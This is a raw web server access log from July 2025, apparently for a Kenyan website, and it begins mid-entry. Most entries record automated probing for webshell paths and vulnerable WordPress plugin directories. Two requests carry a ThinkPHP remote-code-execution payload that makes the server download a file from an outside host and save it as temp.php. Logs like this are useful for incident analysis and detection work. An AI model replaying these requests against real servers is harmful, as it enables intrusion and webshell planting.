(Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /administrator/ HTTP/1.1" 301 242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 249 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /assets/ HTTP/1.1" 301 235 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /cgi-bin/ HTTP/1.1" 301 236 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /components/ HTTP/1.1" 301 239 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /home/ HTTP/1.1" 301 233 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /include/ HTTP/1.1" 301 236 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /modules/ HTTP/1.1" 301 236 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 270 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /mt/ HTTP/1.1" 301 231 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /tmps/ HTTP/1.1" 301 233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 268 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 258 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 254 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:55 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 254 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 256 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 248 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 249 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 249 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 254 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 259 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 244 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /cakil/ HTTP/1.1" 301 234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /cekidot/ HTTP/1.1" 301 236 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /ubh/ HTTP/1.1" 301 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 260 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 259 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 259 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 263 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 250 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:56 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 251 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 258 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 267 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 259 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 257 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 261 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 256 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 257 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /admin/upload/ HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 253 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /up/.well-known/ HTTP/1.1" 301 243 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:57 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 42.236.17.116 - - [17/Jul/2025:18:06:24 +0300] "GET / HTTP/1.1" 200 51627 "http://www.techlup.co.ke/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider" 154.209.61.205 - - [17/Jul/2025:18:33:37 +0300] "GET /?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=https://monchinc.com/2.txt&vars%5B1%5D%5B%5D=temp.php HTTP/1.1" 200 51627 "-" "python-requests/2.32.3" 154.209.61.205 - - [17/Jul/2025:18:33:38 +0300] "GET /temp.php HTTP/1.1" 404 1552 "-" "python-requests/2.32.3" 154.209.61.205 - - [17/Jul/2025:18:33:39 +0300] "GET /?s=/Home/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=https://monchinc.com/2.txt&vars%5B1%5D%5B%5D=temp.php HTTP/1.1" 200 51627 "-" "python-requests/2.32.3" 154.209.61.205 - - [17/Jul/2025:18:33:42 +0300] "GET /temp.php HTTP/1.1" 404 1552 "-" "python-requests/2.32.3" 110.172.98.2 - - [17/Jul/2025:19:00:31 +0300] "GET / HTTP/1.1" 200 51431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 47.79.240.174 - - [17/Jul/2025:19:13:43 +0300] "GET / HTTP/1.1" 200 51627 "http://www.techlup.co.ke" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43" 15.204.235.159 - - [17/Jul/2025:19:17:19 +0300] "GET /.well-known/acme-challenge/BO028-PO31RZ_T4G6CX7QV3VUI55VCTK HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 15.204.235.159 - - [17/Jul/2025:19:17:19 +0300] "GET /.well-known/acme-challenge/MD7VM-DWMXJ3B9ET7-439H2NXY1NVEIW HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 15.204.235.159 - - [17/Jul/2025:19:17:19 +0300] "GET /.well-known/acme-challenge/HCCVZHWILIUBHRL2Y0K6Q1J2SI21KHHO HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 4.186.26.86 - - [17/Jul/2025:19:26:46 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 241 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:26:46 +0300] "GET /wp-admin/css HTTP/1.1" 404 1552 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:26:51 +0300] "GET /.well-known/ HTTP/1.1" 404 1552 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:26:58 +0300] "GET /sites/default/files/ HTTP/1.1" 301 248 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:26:58 +0300] "GET /sites/default/files HTTP/1.1" 404 1552 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:27:03 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 265 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:27:03 +0300] "GET /admin/controller/extension/extension HTTP/1.1" 404 1552 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:27:09 +0300] "GET /uploads/ HTTP/1.1" 404 1552 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:27:15 +0300] "GET /images/ HTTP/1.1" 301 235 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:27:15 +0300] "GET /images HTTP/1.1" 404 1552 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:27:23 +0300] "GET /files/ HTTP/1.1" 301 234 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.186.26.86 - - [17/Jul/2025:19:27:23 +0300] "GET /files HTTP/1.1" 404 1552 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"